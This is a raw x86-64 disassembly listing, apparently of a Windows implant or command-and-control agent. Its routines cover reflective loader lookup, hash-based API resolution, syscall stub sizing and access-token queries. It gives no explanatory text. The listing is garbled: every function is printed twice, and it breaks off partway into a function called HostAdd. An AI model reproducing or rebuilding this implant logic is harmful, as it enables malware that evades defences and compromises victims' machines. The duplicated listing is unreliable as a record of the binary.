140014619add r13, rbx
14001461cmov edi, eax
14001461e
14001461eloc_14001461e:
14001461ecmp r14, r12
140014621je 0x1400146b4
140014627mov ecx, [r13+4*r12]
14001462cmov rdx, rbx
14001462fcall Rva2Offset
140014634mov ebp, eax
140014636add rbp, rbx
140014639mov rcx, rbp
14001463ccall HashStringA
140014641cmp eax, 0xffffffffa6caa1c5
140014646jne 0x140014695
140014648
140014648loc_140014648:
140014648mov r9, rbp
14001464bmov r8l, 58
140014651add rdi, rbx
140014654lea rdx, [rip+0x180f5]
14001465blea rcx, [rip+0x16bbe]
140014662call printf.constprop.0
140014667mov ecx, [rsi+28]
14001466amov rdx, rbx
14001466dcall Rva2Offset
140014672movzx edx, [rdi+2*r12]
140014677mov eax, eax
140014679add rax, rbx
14001467cmov ecx, [rax+4*rdx]
14001467fadd rsp, 32
140014683mov rdx, rbx
140014686pop rbx
140014687pop rsi
140014688pop rdi
140014689pop rbp
14001468apop r12
14001468cpop r13
14001468epop r14
140014690jmp 0x14001c6f0
140014695
140014695loc_140014695:
140014695mov rcx, rbp
140014698call HashStringA
14001469dmov edx, eax
14001469flea rax, [r12+1]
1400146a4cmp edx, 0xffffffffffe885ef
1400146aaje 0x140014648
1400146acmov r12, rax
1400146afjmp 0x14001461e
1400146b4
1400146b4loc_1400146b4:
1400146b4add rsp, 32
1400146b8xor eax, eax
1400146bapop rbx
1400146bbpop rsi
1400146bcpop rdi
1400146bdpop rbp
1400146bepop r12
1400146c0pop r13
1400146c2pop r14
1400146c4ret
1400145d0
1400145d0GetReflectiveLoaderOffset:
1400145d0push r14
1400145d2push r13
1400145d4push r12
1400145d6xor r12l, r12l
1400145d9push rbp
1400145dapush rdi
1400145dbpush rsi
1400145dcpush rbx
1400145ddmov rbx, rcx
1400145e0mov rdx, rbx
1400145e3sub rsp, 32
1400145e7movsxd rax, [rcx+60]
1400145ebmov ecx, [rcx+rax+136]
1400145f2call Rva2Offset
1400145f7mov rdx, rbx
1400145famov esi, eax
1400145fcadd rsi, rbx
1400145ffmov ecx, [rsi+32]
140014602call Rva2Offset
140014607mov ecx, [rsi+36]
14001460amov rdx, rbx
14001460dmov r13l, eax
140014610call Rva2Offset
140014615mov r14l, [rsi+24]
140014619add r13, rbx
14001461cmov edi, eax
14001461e
14001461eloc_14001461e:
14001461ecmp r14, r12
140014621je 0x1400146b4
140014627mov ecx, [r13+4*r12]
14001462cmov rdx, rbx
14001462fcall Rva2Offset
140014634mov ebp, eax
140014636add rbp, rbx
140014639mov rcx, rbp
14001463ccall HashStringA
140014641cmp eax, 0xffffffffa6caa1c5
140014646jne 0x140014695
140014648
140014648loc_140014648:
140014648mov r9, rbp
14001464bmov r8l, 58
140014651add rdi, rbx
140014654lea rdx, [rip+0x180f5]
14001465blea rcx, [rip+0x16bbe]
140014662call printf.constprop.0
140014667mov ecx, [rsi+28]
14001466amov rdx, rbx
14001466dcall Rva2Offset
140014672movzx edx, [rdi+2*r12]
140014677mov eax, eax
140014679add rax, rbx
14001467cmov ecx, [rax+4*rdx]
14001467fadd rsp, 32
140014683mov rdx, rbx
140014686pop rbx
140014687pop rsi
140014688pop rdi
140014689pop rbp
14001468apop r12
14001468cpop r13
14001468epop r14
140014690jmp 0x14001c6f0
140014695
140014695loc_140014695:
140014695mov rcx, rbp
140014698call HashStringA
14001469dmov edx, eax
14001469flea rax, [r12+1]
1400146a4cmp edx, 0xffffffffffe885ef
1400146aaje 0x140014648
1400146acmov r12, rax
1400146afjmp 0x14001461e
1400146b4
1400146b4loc_1400146b4:
1400146b4add rsp, 32
1400146b8xor eax, eax
1400146bapop rbx
1400146bbpop rsi
1400146bcpop rdi
1400146bdpop rbp
1400146bepop r12
1400146c0pop r13
1400146c2pop r14
1400146c4ret
1400145d0
1400146c5
1400146c5 // align 0x10
1400146c5 // align 0x10
1400146d0
1400146d0GetRequestIDForCallingObjectFile:
1400146d0test rcx, rcx
1400146d3je 0x140014764
1400146d9push rsi
1400146damov rsi, rdx
1400146ddpush rbx
1400146desub rsp, 40
1400146e2test rdx, rdx
1400146e5je 0x14001475b
1400146e7mov rax, [rip+0x17c82]
1400146eemov rbx, [rax+2334]
1400146f5
1400146f5loc_1400146f5:
1400146f5test rbx, rbx
1400146f8je 0x14001473b
1400146famov rax, [rbx+40]
1400146fecmp rcx, rax
140014701jb 0x140014735
140014703add rax, [rbx+48]
140014707cmp rcx, rax
14001470ajae 0x140014735
14001470cmov r9l, [rbx+56]
140014710mov r8l, 186
140014716lea rdx, [rip+0x186a3]
14001471dlea rcx, [rip+0x16f55]
140014724call printf
140014729mov eax, [rbx+56]
14001472cmov [rsi], eax
14001472emov eax, 1
140014733jmp 0x14001475d
140014735
140014735loc_140014735:
140014735mov rbx, [rbx+84]
140014739jmp 0x1400146f5
14001473b
14001473bloc_14001473b:
14001473blea r9, [rip+0x16f74]
140014742mov r8l, 194
140014748lea rdx, [rip+0x18671]
14001474flea rcx, [rip+0x16f91]
140014756call printf
14001475b
14001475bloc_14001475b:
14001475bxor eax, eax
14001475d
14001475dloc_14001475d:
14001475dadd rsp, 40
140014761pop rbx
140014762pop rsi
140014763ret
140014764
140014764loc_140014764:
140014764xor eax, eax
140014766ret
1400146d0
1400146d0GetRequestIDForCallingObjectFile:
1400146d0test rcx, rcx
1400146d3je 0x140014764
1400146d9push rsi
1400146damov rsi, rdx
1400146ddpush rbx
1400146desub rsp, 40
1400146e2test rdx, rdx
1400146e5je 0x14001475b
1400146e7mov rax, [rip+0x17c82]
1400146eemov rbx, [rax+2334]
1400146f5
1400146f5loc_1400146f5:
1400146f5test rbx, rbx
1400146f8je 0x14001473b
1400146famov rax, [rbx+40]
1400146fecmp rcx, rax
140014701jb 0x140014735
140014703add rax, [rbx+48]
140014707cmp rcx, rax
14001470ajae 0x140014735
14001470cmov r9l, [rbx+56]
140014710mov r8l, 186
140014716lea rdx, [rip+0x186a3]
14001471dlea rcx, [rip+0x16f55]
140014724call printf
140014729mov eax, [rbx+56]
14001472cmov [rsi], eax
14001472emov eax, 1
140014733jmp 0x14001475d
140014735
140014735loc_140014735:
140014735mov rbx, [rbx+84]
140014739jmp 0x1400146f5
14001473b
14001473bloc_14001473b:
14001473blea r9, [rip+0x16f74]
140014742mov r8l, 194
140014748lea rdx, [rip+0x18671]
14001474flea rcx, [rip+0x16f91]
140014756call printf
14001475b
14001475bloc_14001475b:
14001475bxor eax, eax
14001475d
14001475dloc_14001475d:
14001475dadd rsp, 40
140014761pop rbx
140014762pop rsi
140014763ret
140014764
140014764loc_140014764:
140014764xor eax, eax
140014766ret
1400146d0
140014767
140014767 // align 0x10
140014767 // align 0x10
140014770
140014770GetSyscallSize:
140014770push r12
140014772xor edx, edx
140014774push rbp
140014775push rdi
140014776push rsi
140014777push rbx
140014778mov rbx, [rip+0x17bf1]
14001477fmov rax, [rbx+2110]
140014786test rax, rax
140014789je 0x14001481f
14001478fmov edx, [rbx+2036]
140014795test edx, edx
140014797jne 0x14001481f
14001479dmovsxd rcx, [rax+60]
1400147a1xor r8l, r8l
1400147a4mov ecx, [rax+rcx+136]
1400147abadd rcx, rax
1400147aemov edi, [rcx+32]
1400147b1mov r10l, [rcx+28]
1400147b5mov esi, [rcx+36]
1400147b8mov ebp, [rcx+24]
1400147bbxor ecx, ecx
1400147bdadd r10, rax
1400147c0add rdi, rax
1400147c3add rsi, rax
1400147c6
1400147c6loc_1400147c6:
1400147c6cmp r8l, ebp
1400147c9jae 0x140014819
1400147cbmov r9l, [rdi+4*r8]
1400147cfcmp [rax+r9], 30554
1400147d6jne 0x140014814
1400147d8test rcx, rcx
1400147dbmovzx r9l, [rsi+2*r8]
1400147e0jne 0x1400147eb
1400147e2mov ecx, [r10+4*r9]
1400147e6add rcx, rax
1400147e9jmp 0x140014814
1400147eb
1400147ebloc_1400147eb:
1400147ebmov r9l, [r10+4*r9]
1400147efmov r11, rcx
1400147f2add r9, rax
1400147f5mov r12, r9
1400147f8sub r11, r9
1400147fbsub r12, rcx
1400147fecmp r9, rcx
140014801mov r9l, r12l
140014804cmovb r9l, r11l
140014808test edx, edx
14001480aje 0x140014811
14001480ccmp r9l, edx
14001480fjae 0x140014814
140014811
140014811loc_140014811:
140014811mov edx, r9l
140014814
140014814loc_140014814:
140014814inc r8
140014817jmp 0x1400147c6
140014819
140014819loc_140014819:
140014819mov [rbx+2036], edx
14001481f
14001481floc_14001481f:
14001481fpop rbx
140014820mov eax, edx
140014822pop rsi
140014823pop rdi
140014824pop rbp
140014825pop r12
140014827ret
140014770
140014770GetSyscallSize:
140014770push r12
140014772xor edx, edx
140014774push rbp
140014775push rdi
140014776push rsi
140014777push rbx
140014778mov rbx, [rip+0x17bf1]
14001477fmov rax, [rbx+2110]
140014786test rax, rax
140014789je 0x14001481f
14001478fmov edx, [rbx+2036]
140014795test edx, edx
140014797jne 0x14001481f
14001479dmovsxd rcx, [rax+60]
1400147a1xor r8l, r8l
1400147a4mov ecx, [rax+rcx+136]
1400147abadd rcx, rax
1400147aemov edi, [rcx+32]
1400147b1mov r10l, [rcx+28]
1400147b5mov esi, [rcx+36]
1400147b8mov ebp, [rcx+24]
1400147bbxor ecx, ecx
1400147bdadd r10, rax
1400147c0add rdi, rax
1400147c3add rsi, rax
1400147c6
1400147c6loc_1400147c6:
1400147c6cmp r8l, ebp
1400147c9jae 0x140014819
1400147cbmov r9l, [rdi+4*r8]
1400147cfcmp [rax+r9], 30554
1400147d6jne 0x140014814
1400147d8test rcx, rcx
1400147dbmovzx r9l, [rsi+2*r8]
1400147e0jne 0x1400147eb
1400147e2mov ecx, [r10+4*r9]
1400147e6add rcx, rax
1400147e9jmp 0x140014814
1400147eb
1400147ebloc_1400147eb:
1400147ebmov r9l, [r10+4*r9]
1400147efmov r11, rcx
1400147f2add r9, rax
1400147f5mov r12, r9
1400147f8sub r11, r9
1400147fbsub r12, rcx
1400147fecmp r9, rcx
140014801mov r9l, r12l
140014804cmovb r9l, r11l
140014808test edx, edx
14001480aje 0x140014811
14001480ccmp r9l, edx
14001480fjae 0x140014814
140014811
140014811loc_140014811:
140014811mov edx, r9l
140014814
140014814loc_140014814:
140014814inc r8
140014817jmp 0x1400147c6
140014819
140014819loc_140014819:
140014819mov [rbx+2036], edx
14001481f
14001481floc_14001481f:
14001481fpop rbx
140014820mov eax, edx
140014822pop rsi
140014823pop rdi
140014824pop rbp
140014825pop r12
140014827ret
140014770
140014828
140014828 // align 0x10
140014828 // align 0x10
140014830
140014830GetSystemFileTime:
140014830sub rsp, 56
140014834mov rax, [rip+0x17b35]
14001483blea rcx, [rsp+40]
140014840call [rax+1132]
140014846mov rax, [rsp+40]
14001484badd rsp, 56
14001484fret
140014830
140014830GetSystemFileTime:
140014830sub rsp, 56
140014834mov rax, [rip+0x17b35]
14001483blea rcx, [rsp+40]
140014840call [rax+1132]
140014846mov rax, [rsp+40]
14001484badd rsp, 56
14001484fret
140014830
140014850
140014850GetTokenInfo:
140014850push r15
140014852push r14
140014854push r13
140014856push r12
140014858mov r12, rdx
14001485bxor edx, edx
14001485dpush rbp
14001485emov rbp, r9
140014861push rdi
140014862mov rdi, r8
140014865xor r8l, r8l
140014868push rsi
140014869mov rsi, rcx
14001486cpush rbx
14001486dsub rsp, 72
140014871mov r14, [rsp+176]
140014879mov [rsp+52], edx
14001487dmov [rsp+56], edx
140014881mov [rsp+60], edx
140014885mov rdx, r14
140014888call TokenQueryOwner
14001488dtest eax, eax
14001488fjne 0x1400148b6
140014891lea r9, [rip+0x153c5]
140014898mov r8l, 966
14001489elea rdx, [rip+0x188eb]
1400148a5lea rcx, [rip+0x1511c]
1400148accall printf
1400148b1jmp 0x140014ad4
1400148b6
1400148b6loc_1400148b6:
1400148b6mov rbx, [rip+0x17ab3]
1400148bdxor r9l, r9l
1400148c0xor r8l, r8l
1400148c3mov rcx, rsi
1400148c6lea r15, [rsp+52]
1400148cbmov edx, 10
1400148d0mov [rsp+32], r15
1400148d5call [rbx+1340]
1400148dbmov edx, [rsp+52]
1400148dfmov ecx, 64
1400148e4call [rbx+932]
1400148eamov [rsp+32], r15
1400148efmov r9l, [rsp+52]
1400148f4mov rcx, rsi
1400148f7mov r13, rax
1400148famov r8, rax
1400148fdmov edx, 10
140014902call [rbx+1340]
140014908test eax, eax
14001490aje 0x140014a5a
140014910mov eax, [r13+24]
140014914mov [r12], eax
140014918cmp eax, 1
14001491bjne 0x1400149c4
140014921lea r12, [rsp+56]
140014926xor r9l, r9l
140014929xor r8l, r8l
14001492cmov rcx, rsi
14001492fmov edx, 25
140014934mov [rsp+32], r12
140014939call [rbx+1340]
14001493fmov edx, [rsp+56]
140014943mov ecx, 64
140014948call [rbx+932]
14001494emov rcx, rsi
140014951mov [rsp+32], r12
140014956mov r9l, [rsp+56]
14001495bmov rbp, rax
14001495emov r8, rax
140014961mov edx, 25
140014966call [rbx+1340]
14001496cmov esi, eax
14001496etest eax, eax
140014970je 0x14001499c
140014972mov rsi, [rbx+1484]
140014979mov rcx, [rbp]
14001497dxor r12l, r12l
140014980call [rbx+1476]
140014986mov rcx, [rbp]
14001498amov dl, [rax]
14001498cdec edx
14001498emovzx edx, dl
140014991call rsi
140014993mov eax, [rax]
140014995mov [rdi], eax
140014997jmp 0x140014a2f
14001499c
14001499cloc_14001499c:
14001499clea r9, [rip+0x152d1]
1400149a3mov r8l, 991
1400149a9xor r12l, r12l
1400149aclea rdx, [rip+0x187dd]
1400149b3lea rcx, [rip+0x1500e]
1400149bacall printf
1400149bfjmp 0x140014a85
1400149c4
1400149c4loc_1400149c4:
1400149c4cmp eax, 2
1400149c7je 0x1400149d5
1400149c9
1400149c9loc_1400149c9:
1400149c9xor r12l, r12l
1400149ccxor ebp, ebp
1400149cexor esi, esi
1400149d0jmp 0x140014a85
1400149d5
1400149d5loc_1400149d5:
1400149d5lea rdi, [rsp+60]
1400149daxor r9l, r9l
1400149ddxor r8l, r8l
1400149e0mov rcx, rsi
1400149e3mov edx, 9
1400149e8mov [rsp+32], rdi
1400149edcall [rbx+1340]
1400149f3mov edx, [rsp+60]
1400149f7mov ecx, 64
1400149fccall [rbx+932]
140014a02mov rcx, rsi
140014a05mov [rsp+32], rdi
140014a0amov r9l, [rsp+60]
140014a0fmov r12, rax
140014a12mov r8, rax
140014a15mov edx, 9
140014a1acall [rbx+1340]
140014a20mov esi, eax
140014a22test eax, eax
140014a24je 0x140014a36
140014a26mov eax, [r12]
140014a2amov [rbp], eax
140014a2dxor ebp, ebp
140014a2f
140014a2floc_140014a2f:
140014a2fmov esi, 1
140014a34jmp 0x140014a85
140014a36
140014a36loc_140014a36:
140014a36lea r9, [rip+0x15237]
140014a3dmov r8l, 1007
140014a43lea rdx, [rip+0x18746]
140014a4axor ebp, ebp
140014a4clea rcx, [rip+0x14f75]
140014a53call printf
140014a58jmp 0x140014a85
140014a5a
140014a5aloc_140014a5a:
140014a5alea r9, [rip+0x15213]
140014a61mov r8l, 1013
140014a67lea rdx, [rip+0x18722]
140014a6elea rcx, [rip+0x14f53]
140014a75call printf
140014a7atest r13, r13
140014a7djne 0x1400149c9
140014a83jmp 0x140014ad4
140014a85
140014a85loc_140014a85:
140014a85xor r15l, r15l
140014a88mov ecx, [rsp+52]
140014a8cmov rdi, r13
140014a8fmov eax, r15l
140014a92rep stosb [rdi], al
140014a94mov rcx, r13
140014a97call [rbx+940]
140014a9dtest rbp, rbp
140014aa0je 0x140014ab7
140014aa2mov ecx, [rsp+56]
140014aa6mov rdi, rbp
140014aa9mov eax, r15l
140014aacrep stosb [rdi], al
140014aaemov rcx, rbp
140014ab1call [rbx+940]
140014ab7
140014ab7loc_140014ab7:
140014ab7test r12, r12
140014abaje 0x140014ad0
140014abcmov ecx, [rsp+60]
140014ac0mov rdi, r12
140014ac3xor eax, eax
140014ac5rep stosb [rdi], al
140014ac7mov rcx, r12
140014acacall [rbx+940]
140014ad0
140014ad0loc_140014ad0:
140014ad0test esi, esi
140014ad2jne 0x140014aff
140014ad4
140014ad4loc_140014ad4:
140014ad4mov rdi, [r14]
140014ad7test rdi, rdi
140014adajne 0x140014ae0
140014adc
140014adcloc_140014adc:
140014adcxor esi, esi
140014adejmp 0x140014aff
140014ae0
140014ae0loc_140014ae0:
140014ae0mov ecx, [r14+8]
140014ae4xor eax, eax
140014ae6rep stosb [rdi], al
140014ae8mov rax, [rip+0x17881]
140014aefmov rcx, [r14]
140014af2call [rax+940]
140014af8xor eax, eax
140014afamov [r14], rax
140014afdjmp 0x140014adc
140014aff
140014affloc_140014aff:
140014affadd rsp, 72
140014b03mov eax, esi
140014b05pop rbx
140014b06pop rsi
140014b07pop rdi
140014b08pop rbp
140014b09pop r12
140014b0bpop r13
140014b0dpop r14
140014b0fpop r15
140014b11ret
140014850
140014850GetTokenInfo:
140014850push r15
140014852push r14
140014854push r13
140014856push r12
140014858mov r12, rdx
14001485bxor edx, edx
14001485dpush rbp
14001485emov rbp, r9
140014861push rdi
140014862mov rdi, r8
140014865xor r8l, r8l
140014868push rsi
140014869mov rsi, rcx
14001486cpush rbx
14001486dsub rsp, 72
140014871mov r14, [rsp+176]
140014879mov [rsp+52], edx
14001487dmov [rsp+56], edx
140014881mov [rsp+60], edx
140014885mov rdx, r14
140014888call TokenQueryOwner
14001488dtest eax, eax
14001488fjne 0x1400148b6
140014891lea r9, [rip+0x153c5]
140014898mov r8l, 966
14001489elea rdx, [rip+0x188eb]
1400148a5lea rcx, [rip+0x1511c]
1400148accall printf
1400148b1jmp 0x140014ad4
1400148b6
1400148b6loc_1400148b6:
1400148b6mov rbx, [rip+0x17ab3]
1400148bdxor r9l, r9l
1400148c0xor r8l, r8l
1400148c3mov rcx, rsi
1400148c6lea r15, [rsp+52]
1400148cbmov edx, 10
1400148d0mov [rsp+32], r15
1400148d5call [rbx+1340]
1400148dbmov edx, [rsp+52]
1400148dfmov ecx, 64
1400148e4call [rbx+932]
1400148eamov [rsp+32], r15
1400148efmov r9l, [rsp+52]
1400148f4mov rcx, rsi
1400148f7mov r13, rax
1400148famov r8, rax
1400148fdmov edx, 10
140014902call [rbx+1340]
140014908test eax, eax
14001490aje 0x140014a5a
140014910mov eax, [r13+24]
140014914mov [r12], eax
140014918cmp eax, 1
14001491bjne 0x1400149c4
140014921lea r12, [rsp+56]
140014926xor r9l, r9l
140014929xor r8l, r8l
14001492cmov rcx, rsi
14001492fmov edx, 25
140014934mov [rsp+32], r12
140014939call [rbx+1340]
14001493fmov edx, [rsp+56]
140014943mov ecx, 64
140014948call [rbx+932]
14001494emov rcx, rsi
140014951mov [rsp+32], r12
140014956mov r9l, [rsp+56]
14001495bmov rbp, rax
14001495emov r8, rax
140014961mov edx, 25
140014966call [rbx+1340]
14001496cmov esi, eax
14001496etest eax, eax
140014970je 0x14001499c
140014972mov rsi, [rbx+1484]
140014979mov rcx, [rbp]
14001497dxor r12l, r12l
140014980call [rbx+1476]
140014986mov rcx, [rbp]
14001498amov dl, [rax]
14001498cdec edx
14001498emovzx edx, dl
140014991call rsi
140014993mov eax, [rax]
140014995mov [rdi], eax
140014997jmp 0x140014a2f
14001499c
14001499cloc_14001499c:
14001499clea r9, [rip+0x152d1]
1400149a3mov r8l, 991
1400149a9xor r12l, r12l
1400149aclea rdx, [rip+0x187dd]
1400149b3lea rcx, [rip+0x1500e]
1400149bacall printf
1400149bfjmp 0x140014a85
1400149c4
1400149c4loc_1400149c4:
1400149c4cmp eax, 2
1400149c7je 0x1400149d5
1400149c9
1400149c9loc_1400149c9:
1400149c9xor r12l, r12l
1400149ccxor ebp, ebp
1400149cexor esi, esi
1400149d0jmp 0x140014a85
1400149d5
1400149d5loc_1400149d5:
1400149d5lea rdi, [rsp+60]
1400149daxor r9l, r9l
1400149ddxor r8l, r8l
1400149e0mov rcx, rsi
1400149e3mov edx, 9
1400149e8mov [rsp+32], rdi
1400149edcall [rbx+1340]
1400149f3mov edx, [rsp+60]
1400149f7mov ecx, 64
1400149fccall [rbx+932]
140014a02mov rcx, rsi
140014a05mov [rsp+32], rdi
140014a0amov r9l, [rsp+60]
140014a0fmov r12, rax
140014a12mov r8, rax
140014a15mov edx, 9
140014a1acall [rbx+1340]
140014a20mov esi, eax
140014a22test eax, eax
140014a24je 0x140014a36
140014a26mov eax, [r12]
140014a2amov [rbp], eax
140014a2dxor ebp, ebp
140014a2f
140014a2floc_140014a2f:
140014a2fmov esi, 1
140014a34jmp 0x140014a85
140014a36
140014a36loc_140014a36:
140014a36lea r9, [rip+0x15237]
140014a3dmov r8l, 1007
140014a43lea rdx, [rip+0x18746]
140014a4axor ebp, ebp
140014a4clea rcx, [rip+0x14f75]
140014a53call printf
140014a58jmp 0x140014a85
140014a5a
140014a5aloc_140014a5a:
140014a5alea r9, [rip+0x15213]
140014a61mov r8l, 1013
140014a67lea rdx, [rip+0x18722]
140014a6elea rcx, [rip+0x14f53]
140014a75call printf
140014a7atest r13, r13
140014a7djne 0x1400149c9
140014a83jmp 0x140014ad4
140014a85
140014a85loc_140014a85:
140014a85xor r15l, r15l
140014a88mov ecx, [rsp+52]
140014a8cmov rdi, r13
140014a8fmov eax, r15l
140014a92rep stosb [rdi], al
140014a94mov rcx, r13
140014a97call [rbx+940]
140014a9dtest rbp, rbp
140014aa0je 0x140014ab7
140014aa2mov ecx, [rsp+56]
140014aa6mov rdi, rbp
140014aa9mov eax, r15l
140014aacrep stosb [rdi], al
140014aaemov rcx, rbp
140014ab1call [rbx+940]
140014ab7
140014ab7loc_140014ab7:
140014ab7test r12, r12
140014abaje 0x140014ad0
140014abcmov ecx, [rsp+60]
140014ac0mov rdi, r12
140014ac3xor eax, eax
140014ac5rep stosb [rdi], al
140014ac7mov rcx, r12
140014acacall [rbx+940]
140014ad0
140014ad0loc_140014ad0:
140014ad0test esi, esi
140014ad2jne 0x140014aff
140014ad4
140014ad4loc_140014ad4:
140014ad4mov rdi, [r14]
140014ad7test rdi, rdi
140014adajne 0x140014ae0
140014adc
140014adcloc_140014adc:
140014adcxor esi, esi
140014adejmp 0x140014aff
140014ae0
140014ae0loc_140014ae0:
140014ae0mov ecx, [r14+8]
140014ae4xor eax, eax
140014ae6rep stosb [rdi], al
140014ae8mov rax, [rip+0x17881]
140014aefmov rcx, [r14]
140014af2call [rax+940]
140014af8xor eax, eax
140014afamov [r14], rax
140014afdjmp 0x140014adc
140014aff
140014affloc_140014aff:
140014affadd rsp, 72
140014b03mov eax, esi
140014b05pop rbx
140014b06pop rsi
140014b07pop rdi
140014b08pop rbp
140014b09pop r12
140014b0bpop r13
140014b0dpop r14
140014b0fpop r15
140014b11ret
140014850
140014b12
140014b12 // align 0x10
140014b12 // align 0x10
140014b20
140014b20GetTypeIndexToken:
140014b20push rdi
140014b21xor edx, edx
140014b23xor eax, eax
140014b25push rsi
140014b26mov rsi, rcx
140014b29push rbx
140014b2asub rsp, 48
140014b2emov [rsp+36], edx
140014b32lea rcx, [rsp+40]
140014b37lea rdx, [rsp+36]
140014b3cmov [rsp+40], rax
140014b41call QueryObjectTypesInfo
140014b46mov rdi, [rsp+40]
140014b4btest eax, eax
140014b4dmov ebx, eax
140014b4fje 0x140014bb3
140014b51mov r8l, [rdi]
140014b54lea rcx, [rdi+8]
140014b58xor eax, eax
140014b5a
140014b5aloc_140014b5a:
140014b5acmp r8l, eax
140014b5dje 0x140014bb1
140014b5fmov rdx, [rcx+8]
140014b63test rdx, rdx
140014b66je 0x140014b9c
140014b68cmp [rcx], 10
140014b6cjne 0x140014b9c
140014b6ecmp [rdx], 84
140014b72jne 0x140014b9c
140014b74cmp [rdx+2], 111
140014b79jne 0x140014b9c
140014b7bcmp [rdx+4], 107
140014b80jne 0x140014b9c
140014b82cmp [rdx+6], 101
140014b87jne 0x140014b9c
140014b89cmp [rdx+8], 110
140014b8ejne 0x140014b9c
140014b90add eax, 2
140014b93mov ebx, 1
140014b98mov [rsi], eax
140014b9ajmp 0x140014bb3
140014b9c
140014b9cloc_140014b9c:
140014b9cmovzx edx, [rcx+2]
140014ba0inc eax
140014ba2add rdx, 7
140014ba6and rdx, -8
140014baalea rcx, [rcx+rdx+104]
140014bafjmp 0x140014b5a
140014bb1
140014bb1loc_140014bb1:
140014bb1xor ebx, ebx
140014bb3
140014bb3loc_140014bb3:
140014bb3test rdi, rdi
140014bb6je 0x140014bd2
140014bb8mov ecx, [rsp+36]
140014bbcxor eax, eax
140014bberep stosb [rdi], al
140014bc0mov rax, [rip+0x177a9]
140014bc7mov rcx, [rsp+40]
140014bcccall [rax+940]
140014bd2
140014bd2loc_140014bd2:
140014bd2add rsp, 48
140014bd6mov eax, ebx
140014bd8pop rbx
140014bd9pop rsi
140014bdapop rdi
140014bdbret
140014b20
140014b20GetTypeIndexToken:
140014b20push rdi
140014b21xor edx, edx
140014b23xor eax, eax
140014b25push rsi
140014b26mov rsi, rcx
140014b29push rbx
140014b2asub rsp, 48
140014b2emov [rsp+36], edx
140014b32lea rcx, [rsp+40]
140014b37lea rdx, [rsp+36]
140014b3cmov [rsp+40], rax
140014b41call QueryObjectTypesInfo
140014b46mov rdi, [rsp+40]
140014b4btest eax, eax
140014b4dmov ebx, eax
140014b4fje 0x140014bb3
140014b51mov r8l, [rdi]
140014b54lea rcx, [rdi+8]
140014b58xor eax, eax
140014b5a
140014b5aloc_140014b5a:
140014b5acmp r8l, eax
140014b5dje 0x140014bb1
140014b5fmov rdx, [rcx+8]
140014b63test rdx, rdx
140014b66je 0x140014b9c
140014b68cmp [rcx], 10
140014b6cjne 0x140014b9c
140014b6ecmp [rdx], 84
140014b72jne 0x140014b9c
140014b74cmp [rdx+2], 111
140014b79jne 0x140014b9c
140014b7bcmp [rdx+4], 107
140014b80jne 0x140014b9c
140014b82cmp [rdx+6], 101
140014b87jne 0x140014b9c
140014b89cmp [rdx+8], 110
140014b8ejne 0x140014b9c
140014b90add eax, 2
140014b93mov ebx, 1
140014b98mov [rsi], eax
140014b9ajmp 0x140014bb3
140014b9c
140014b9cloc_140014b9c:
140014b9cmovzx edx, [rcx+2]
140014ba0inc eax
140014ba2add rdx, 7
140014ba6and rdx, -8
140014baalea rcx, [rcx+rdx+104]
140014bafjmp 0x140014b5a
140014bb1
140014bb1loc_140014bb1:
140014bb1xor ebx, ebx
140014bb3
140014bb3loc_140014bb3:
140014bb3test rdi, rdi
140014bb6je 0x140014bd2
140014bb8mov ecx, [rsp+36]
140014bbcxor eax, eax
140014bberep stosb [rdi], al
140014bc0mov rax, [rip+0x177a9]
140014bc7mov rcx, [rsp+40]
140014bcccall [rax+940]
140014bd2
140014bd2loc_140014bd2:
140014bd2add rsp, 48
140014bd6mov eax, ebx
140014bd8pop rbx
140014bd9pop rsi
140014bdapop rdi
140014bdbret
140014b20
140014bdc
140014bdc // align 0x10
140014bdc // align 0x10
140014be0
140014be0HashEx:
140014be0xor eax, eax
140014be2test rcx, rcx
140014be5je 0x140014c2f
140014be7mov r10, rcx
140014beamov eax, 5381
140014bef
140014befloc_140014bef:
140014befmov r9b, [r10]
140014bf2test edx, edx
140014bf4jne 0x140014bfc
140014bf6test r9b, r9b
140014bf9jne 0x140014c11
140014bfbret
140014bfc
140014bfcloc_140014bfc:
140014bfcmov r11, r10
140014bffsub r11, rcx
140014c02cmp r11l, edx
140014c05jae 0x140014c2f
140014c07test r9b, r9b
140014c0ajne 0x140014c11
140014c0cinc r10
140014c0fjmp 0x140014c20
140014c11
140014c11loc_140014c11:
140014c11cmp r9b, 96
140014c15jbe 0x140014c20
140014c17test r8l, r8l
140014c1aje 0x140014c20
140014c1csub r9l, 32
140014c20
140014c20loc_140014c20:
140014c20imul eax, eax, 33
140014c23movzx r9l, r9b
140014c27inc r10
140014c2aadd eax, r9l
140014c2djmp 0x140014bef
140014c2f
140014c2floc_140014c2f:
140014c2fret
140014be0
140014be0HashEx:
140014be0xor eax, eax
140014be2test rcx, rcx
140014be5je 0x140014c2f
140014be7mov r10, rcx
140014beamov eax, 5381
140014bef
140014befloc_140014bef:
140014befmov r9b, [r10]
140014bf2test edx, edx
140014bf4jne 0x140014bfc
140014bf6test r9b, r9b
140014bf9jne 0x140014c11
140014bfbret
140014bfc
140014bfcloc_140014bfc:
140014bfcmov r11, r10
140014bffsub r11, rcx
140014c02cmp r11l, edx
140014c05jae 0x140014c2f
140014c07test r9b, r9b
140014c0ajne 0x140014c11
140014c0cinc r10
140014c0fjmp 0x140014c20
140014c11
140014c11loc_140014c11:
140014c11cmp r9b, 96
140014c15jbe 0x140014c20
140014c17test r8l, r8l
140014c1aje 0x140014c20
140014c1csub r9l, 32
140014c20
140014c20loc_140014c20:
140014c20imul eax, eax, 33
140014c23movzx r9l, r9b
140014c27inc r10
140014c2aadd eax, r9l
140014c2djmp 0x140014bef
140014c2f
140014c2floc_140014c2f:
140014c2fret
140014be0
140014c30
140014c30HashStringA:
140014c30mov eax, 5381
140014c35
140014c35loc_140014c35:
140014c35movsx edx, [rcx]
140014c38inc rcx
140014c3btest dl, dl
140014c3dje 0x140014c46
140014c3fimul eax, eax, 33
140014c42add eax, edx
140014c44jmp 0x140014c35
140014c46
140014c46loc_140014c46:
140014c46ret
140014c30
140014c30HashStringA:
140014c30mov eax, 5381
140014c35
140014c35loc_140014c35:
140014c35movsx edx, [rcx]
140014c38inc rcx
140014c3btest dl, dl
140014c3dje 0x140014c46
140014c3fimul eax, eax, 33
140014c42add eax, edx
140014c44jmp 0x140014c35
140014c46
140014c46loc_140014c46:
140014c46ret
140014c30
140014c47
140014c47 // align 0x10
140014c47 // align 0x10
140014c53
140014c53 // align 0x10
140014c53 // align 0x10
140014c60
140014c60HostAdd:
140014c60push r12
140014c62mov r9, rcx
140014c65push rbp
140014c66mov rbp, rdx
140014c69push rdi
140014c6amov edi, r8l
140014c6dpush rsi
